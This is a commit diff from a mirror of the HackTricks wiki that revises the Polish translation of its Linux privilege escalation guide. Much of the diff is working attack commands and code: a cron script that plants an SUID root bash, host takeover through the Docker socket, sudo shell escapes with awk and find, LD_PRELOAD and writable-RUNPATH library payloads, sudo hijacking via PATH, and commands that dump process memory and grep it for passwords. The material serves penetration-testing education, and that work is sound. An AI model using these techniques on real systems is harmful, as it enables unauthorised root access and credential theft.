maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

Browse Source
This commit is contained in:
Translator 2025-08-19 08:29:25 +00:00
parent 2b109e380f
commit f00d709fe8
4 changed files with 328 additions and 125 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -96,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

148
src/linux-hardening/privilege-escalation/README.md
View File

@ -32,7 +32,7 @@ cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
Możesz znaleźć dobrą listę podatnych jąder oraz kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Możesz znaleźć dobrą listę podatnych jąder i kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Inne strony, na których możesz znaleźć kilka **skompilowanych exploitów**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Aby wyodrębnić wszystkie podatne wersje jądra z tej strony, możesz zrobić:
@ -43,9 +43,9 @@ Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W OFIERZE, sprawdza tylko exploity dla jądra 2.x)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W ofierze, sprawdza tylko exploity dla jądra 2.x)
Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra i wtedy będziesz pewien, że ten exploit jest ważny.
Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny.
### CVE-2016-5195 (DirtyCow)
@ -140,7 +140,7 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Przydatne oprogramowanie
Wymień przydatne binaria
Wylicz przydatne binaria
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
@ -175,10 +175,10 @@ Również **sprawdź swoje uprawnienia do binarnych plików procesów**, może u
Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów, które są często uruchamiane lub gdy spełniony jest zestaw wymagań.
### Pamięć procesów
### Pamięć procesu
Niektóre usługi serwera zapisują **poświadczenia w postaci czystego tekstu w pamięci**.\
Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej poświadczeń.\
Niektóre usługi serwera zapisują **dane uwierzytelniające w postaci czystego tekstu w pamięci**.\
Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej danych uwierzytelniających.\
Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**.
> [!WARNING]
@ -193,7 +193,7 @@ Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć proc
#### GDB
Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać jej poświadczenia.
Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać jej dane uwierzytelniające.
```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
@ -270,7 +270,7 @@ Aby zrzucić pamięć procesu, możesz użyć:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który jest przez Ciebie posiadany
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root)
- Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany jest root)
### Poświadczenia z pamięci procesu
@ -281,7 +281,7 @@ Jeśli znajdziesz, że proces uwierzytelniający jest uruchomiony:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
```
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucania pamięci procesu) i wyszukać poświadczenia wewnątrz pamięci:
Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia w pamięci:
```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Zaplanowane/zadania Cron
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać z skryptu uruchamianego przez roota (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez roota? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez root (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez root? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -327,7 +327,7 @@ Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr
(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_)
Jeśli w tym crontabie użytkownik root spróbuje wykonać jakieś polecenie lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
Jeśli w tym crontabie użytkownik root spróbuje wykonać jakąś komendę lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\
Wtedy możesz uzyskać powłokę roota, używając:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
@ -340,9 +340,9 @@ Jeśli skrypt wykonywany przez root zawiera “**\***” w poleceniu, możesz to
```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```
**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
**Jeśli znak wieloznaczny jest poprzedzony ścieżką, taką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).**
Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych:
Przeczytaj następującą stronę, aby uzyskać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych:
{{#ref}}
wildcards-spare-tricks.md
@ -368,11 +368,11 @@ Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować wedłu
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy proces, który się uruchamia).
**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy uruchomiony proces).
### Niewidoczne zadania cron
Możliwe jest stworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
Możliwe jest utworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -385,7 +385,7 @@ Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecSta
### Zapisane binaria usług
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki zostały wykonane.
Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki będą wykonywane.
### systemd PATH - Ścieżki względne
@ -413,7 +413,7 @@ systemctl list-timers --all
```
### Writable timers
Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre jednostki systemd (takie jak `.service` lub `.target`)
Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`)
```bash
Unit=backdoor.service
```
@ -446,19 +446,19 @@ Sockets można konfigurować za pomocą plików `.socket`.
**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Te opcje są różne, ale używa się podsumowania, aby **wskazać, gdzie będzie nasłuchiwać** na socket (ścieżka pliku socket AF_UNIX, IPv4/6 i/lub numer portu do nasłuchu itp.)
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów w sposób odpowiedni dla `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** utworzeniu i powiązaniu nasłuchujących **socketów**/FIFO, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** zamknięciu i usunięciu nasłuchujących **socketów**/FIFO, odpowiednio.
- `Accept`: Przyjmuje argument boolean. Jeśli **prawda**, **instancja usługi jest uruchamiana dla każdego przychodzącego połączenia** i tylko socket połączenia jest do niej przekazywany. Jeśli **fałsz**, wszystkie nasłuchujące sockety są **przekazywane do uruchomionej jednostki usługi**, a tylko jedna jednostka usługi jest uruchamiana dla wszystkich połączeń. Ta wartość jest ignorowana dla socketów datagramowych i FIFO, gdzie jedna jednostka usługi bezwarunkowo obsługuje cały przychodzący ruch. **Domyślnie fałsz**. Z powodów wydajnościowych zaleca się pisanie nowych demonów tylko w sposób odpowiedni dla `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Przyjmuje jedną lub więcej linii poleceń, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **tworzone** i związane, odpowiednio. Pierwszy token linii poleceń musi być absolutną nazwą pliku, a następnie muszą być podane argumenty dla procesu.
- `ExecStopPre`, `ExecStopPost`: Dodatkowe **polecenia**, które są **wykonywane przed** lub **po** tym, jak nasłuchujące **sockets**/FIFO są **zamykane** i usuwane, odpowiednio.
- `Service`: Określa nazwę jednostki **usługi**, **którą należy aktywować** przy **przychodzącym ruchu**. Ustawienie to jest dozwolone tylko dla socketów z Accept=no. Domyślnie jest to usługa, która nosi tę samą nazwę co socket (z zastąpionym sufiksem). W większości przypadków nie powinno być konieczne używanie tej opcji.
### Writable .socket files
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie uruchomiony przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie uruchomiony_
Jeśli znajdziesz **writable** plik `.socket`, możesz **dodać** na początku sekcji `[Socket]` coś takiego: `ExecStartPre=/home/kali/sys/backdoor`, a backdoor zostanie wykonany przed utworzeniem socketu. Dlatego **prawdopodobnie będziesz musiał poczekać, aż maszyna zostanie uruchomiona ponownie.**\
_Note, że system musi korzystać z tej konfiguracji pliku socket, w przeciwnym razie backdoor nie zostanie wykonany_
### Writable sockets
Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i może uda ci się wykorzystać lukę.
Jeśli **zidentyfikujesz jakikolwiek writable socket** (_teraz mówimy o Unix Sockets, a nie o plikach konfiguracyjnych `.socket`_), to **możesz komunikować się** z tym socketem i być może wykorzystać lukę.
### Enumerate Unix Sockets
```bash
@ -485,11 +485,11 @@ Zauważ, że mogą istnieć **gniazda nasłuchujące na żądania HTTP** (_Nie m
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i może uda ci się **wykorzystać jakąś lukę**.
Jeśli gniazdo **odpowiada żądaniem HTTP**, możesz **komunikować się** z nim i być może **wykorzystać jakąś lukę**.
### Zapisowalny gniazdo Docker
### Zapisowy gniazdo Docker
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli CLI Docker nie jest dostępne.
Gniazdo Docker, często znajdujące się w `/var/run/docker.sock`, jest krytycznym plikiem, który powinien być zabezpieczony. Domyślnie jest zapisywalne przez użytkownika `root` i członków grupy `docker`. Posiadanie dostępu do zapisu w tym gnieździe może prowadzić do eskalacji uprawnień. Oto podział, jak można to zrobić oraz alternatywne metody, jeśli interfejs CLI Dockera nie jest dostępny.
#### **Eskalacja uprawnień z użyciem Docker CLI**
@ -498,9 +498,9 @@ Jeśli masz dostęp do zapisu w gnieździe Docker, możesz eskalować uprawnieni
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```
Te polecenia pozwalają na uruchomienie kontenera z dostępem na poziomie root do systemu plików hosta.
Te polecenia pozwalają na uruchomienie kontenera z dostępem na poziomie roota do systemu plików hosta.
#### **Bezpośrednie użycie API Docker**
#### **Używanie API Docker bezpośrednio**
W przypadkach, gdy interfejs wiersza poleceń Docker nie jest dostępny, gniazdo Docker można nadal manipulować za pomocą API Docker i poleceń `curl`.
@ -532,7 +532,7 @@ Connection: Upgrade
Upgrade: tcp
```
Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie root do systemu plików hosta.
Po skonfigurowaniu połączenia `socat` możesz wykonywać polecenia bezpośrednio w kontenerze z dostępem na poziomie roota do systemu plików hosta.
### Inne
@ -546,7 +546,7 @@ docker-security/
## Eskalacja uprawnień Containerd (ctr)
Jeśli odkryjesz, że możesz używać polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**:
Jeśli odkryjesz, że możesz użyć polecenia **`ctr`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**:
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **Eskalacja uprawnień RunC**
Jeśli odkryjesz, że możesz używać polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**:
Jeśli odkryjesz, że możesz użyć polecenia **`runc`**, przeczytaj następującą stronę, ponieważ **możesz być w stanie nadużyć go w celu eskalacji uprawnień**:
{{#ref}}
runc-privilege-escalation.md
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Bus to zaawansowany **system komunikacji międzyprocesowej (IPC)**, który umożliwia aplikacjom efektywne interakcje i wymianę danych. Zaprojektowany z myślą o nowoczesnym systemie Linux, oferuje solidną ramę dla różnych form komunikacji aplikacji.
System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto, wspomaga w nadawaniu zdarzeń lub sygnałów, ułatwiając płynne integrowanie komponentów systemu. Na przykład, sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo, D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie skomplikowane.
System jest wszechstronny, wspierając podstawowy IPC, który poprawia wymianę danych między procesami, przypominający **ulepszone gniazda domeny UNIX**. Ponadto wspomaga w nadawaniu zdarzeń lub sygnałów, sprzyjając płynnej integracji między komponentami systemu. Na przykład sygnał od demona Bluetooth o nadchodzącym połączeniu może spowodować, że odtwarzacz muzyki wyciszy dźwięk, poprawiając doświadczenia użytkownika. Dodatkowo D-Bus wspiera system obiektów zdalnych, upraszczając żądania usług i wywołania metod między aplikacjami, usprawniając procesy, które były tradycyjnie złożone.
D-Bus działa na modelu **zezwolenia/odmowy**, zarządzając uprawnieniami wiadomości (wywołania metod, emisje sygnałów itp.) na podstawie kumulatywnego efektu dopasowanych reguł polityki. Polityki te określają interakcje z magistralą, potencjalnie umożliwiając eskalację uprawnień poprzez wykorzystanie tych uprawnień.
Przykład takiej polityki w `/etc/dbus-1/system.d/wpa_supplicant.conf` jest podany, szczegółowo opisując uprawnienia dla użytkownika root do posiadania, wysyłania i odbierania wiadomości od `fi.w1.wpa_supplicant1`.
Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstowe "domyślne" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami.
Polityki bez określonego użytkownika lub grupy mają zastosowanie uniwersalne, podczas gdy polityki kontekstu "domyślnego" mają zastosowanie do wszystkich, które nie są objęte innymi specyficznymi politykami.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
## **Sieć**
Zawsze interesujące jest enumerowanie sieci i ustalenie pozycji maszyny.
Zawsze interesujące jest enumerowanie sieci i ustalanie pozycji maszyny.
### Ogólna enumeracja
```bash
@ -683,27 +683,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
```
### Znane hasła
Jeśli **znasz jakiekolwiek hasło** środowiska **spróbuj zalogować się jako każdy użytkownik** używając tego hasła.
Jeśli **znasz jakieś hasło** środowiska, **spróbuj zalogować się jako każdy użytkownik** używając tego hasła.
### Su Brute
Jeśli nie przeszkadza ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Jeśli nie przeszkadza Ci robienie dużego hałasu i binaria `su` oraz `timeout` są obecne na komputerze, możesz spróbować przeprowadzić atak brute-force na użytkowników używając [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) z parametrem `-a` również próbuje przeprowadzić atak brute-force na użytkowników.
## Nadużycia związane z zapisywalnym PATH
### $PATH
Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze $PATH**, możesz być w stanie podnieść uprawnienia poprzez **utworzenie tylnej furtki w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu znajdującego się przed** twoim zapisywalnym folderem w $PATH.
Jeśli odkryjesz, że możesz **zapisywać w niektórym folderze w $PATH**, możesz być w stanie podnieść uprawnienia, **tworząc tylne drzwi w zapisywalnym folderze** o nazwie jakiejś komendy, która będzie wykonywana przez innego użytkownika (najlepiej root) i która **nie jest ładowana z folderu znajdującego się przed** Twoim zapisywalnym folderem w $PATH.
### SUDO i SUID
Możesz mieć pozwolenie na wykonanie niektórej komendy używając sudo lub mogą mieć ustawiony bit suid. Sprawdź to używając:
Możesz mieć pozwolenie na wykonanie niektórej komendy za pomocą sudo lub mogą mieć ustawiony bit suid. Sprawdź to używając:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```
Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików, a nawet wykonanie polecenia.** Na przykład:
Niektóre **nieoczekiwane polecenia pozwalają na odczyt i/lub zapis plików lub nawet wykonanie polecenia.** Na przykład:
```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo execution bypassing paths
**Skok** do odczytu innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
**Skocz** do przeczytania innych plików lub użyj **symlinków**. Na przykład w pliku sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -776,18 +776,18 @@ Na przykład, jeśli binarny plik suid wywołuje _**/usr/sbin/service apache2 st
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
Wtedy, gdy wywołasz binarny plik suid, ta funkcja zostanie wykonana
Then, when you call the suid binary, this function will be executed
### LD_PRELOAD & **LD_LIBRARY_PATH**
Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so) do załadowania przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten nazywa się preładowaniem biblioteki.
Zmienna środowiskowa **LD_PRELOAD** jest używana do określenia jednej lub więcej bibliotek współdzielonych (.so files), które mają być załadowane przez loadera przed wszystkimi innymi, w tym standardową biblioteką C (`libc.so`). Proces ten jest znany jako preloading biblioteki.
Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku plików wykonywalnych **suid/sgid**, system egzekwuje pewne warunki:
Jednakże, aby utrzymać bezpieczeństwo systemu i zapobiec wykorzystaniu tej funkcji, szczególnie w przypadku **suid/sgid** wykonywalnych, system egzekwuje pewne warunki:
- Loader ignoruje **LD_PRELOAD** dla plików wykonywalnych, w których rzeczywisty identyfikator użytkownika (_ruid_) nie zgadza się z efektywnym identyfikatorem użytkownika (_euid_).
- Dla plików wykonywalnych z suid/sgid, preładowane są tylko biblioteki w standardowych ścieżkach, które również są suid/sgid.
- Loader ignoruje **LD_PRELOAD** dla wykonywalnych, gdzie rzeczywisty identyfikator użytkownika (_ruid_) nie pasuje do efektywnego identyfikatora użytkownika (_euid_).
- Dla wykonywalnych z suid/sgid, tylko biblioteki w standardowych ścieżkach, które są również suid/sgid, są preładowane.
Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie nawet podczas uruchamiania poleceń z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
Podniesienie uprawnień może wystąpić, jeśli masz możliwość wykonywania poleceń z `sudo`, a wynik `sudo -l` zawiera stwierdzenie **env_keep+=LD_PRELOAD**. Ta konfiguracja pozwala na utrzymanie zmiennej środowiskowej **LD_PRELOAD** i jej rozpoznawanie, nawet gdy polecenia są uruchamiane z `sudo`, co potencjalnie prowadzi do wykonania dowolnego kodu z podwyższonymi uprawnieniami.
```
Defaults env_keep += LD_PRELOAD
```
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Teraz, gdy znaleźliśmy binarny plik SUID ładujący bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
Teraz, gdy znaleźliśmy binarkę SUID ładującą bibliotekę z folderu, w którym możemy pisać, stwórzmy bibliotekę w tym folderze o potrzebnej nazwie:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -921,10 +921,10 @@ Wymagania do eskalacji uprawnień:
- Już masz powłokę jako użytkownik "_sampleuser_"
- "_sampleuser_" **użył `sudo`** do wykonania czegoś w **ostatnich 15 minutach** (domyślnie to czas trwania tokena sudo, który pozwala nam używać `sudo` bez wprowadzania hasła)
- `cat /proc/sys/kernel/yama/ptrace_scope` wynosi 0
- `gdb` jest dostępny (możesz go przesłać)
- `cat /proc/sys/kernel/yama/ptrace_scope` to 0
- `gdb` jest dostępny (możesz być w stanie go przesłać)
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub na stałe modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
(Możesz tymczasowo włączyć `ptrace_scope` za pomocą `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` lub trwale modyfikując `/etc/sysctl.d/10-ptrace.conf` i ustawiając `kernel.yama.ptrace_scope = 0`)
Jeśli wszystkie te wymagania są spełnione, **możesz eskalować uprawnienia używając:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
@ -954,7 +954,7 @@ Na przykład, jeśli możesz nadpisać plik _/var/run/sudo/ts/sampleuser_ i masz
### /etc/sudoers, /etc/sudoers.d
Plik `/etc/sudoers` oraz pliki w `/etc/sudoers.d` konfigurują, kto może używać `sudo` i w jaki sposób. Te pliki **domyślnie mogą być odczytywane tylko przez użytkownika root i grupę root**.\
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz w stanie **eskalować uprawnienia**.
**Jeśli** możesz **odczytać** ten plik, możesz być w stanie **uzyskać interesujące informacje**, a jeśli możesz **zapisać** jakikolwiek plik, będziesz mógł **eskalować uprawnienia**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i masz powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
Jeśli wiesz, że **użytkownik zazwyczaj łączy się z maszyną i używa `sudo`** do eskalacji uprawnień i uzyskałeś powłokę w kontekście tego użytkownika, możesz **utworzyć nowy plik wykonywalny sudo**, który wykona twój kod jako root, a następnie polecenie użytkownika. Następnie **zmodyfikuj $PATH** kontekstu użytkownika (na przykład dodając nową ścieżkę w .bash_profile), aby gdy użytkownik wykona sudo, twój plik wykonywalny sudo został uruchomiony.
Zauważ, że jeśli użytkownik używa innej powłoki (nie bash), będziesz musiał zmodyfikować inne pliki, aby dodać nową ścieżkę. Na przykład [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modyfikuje `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Możesz znaleźć inny przykład w [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
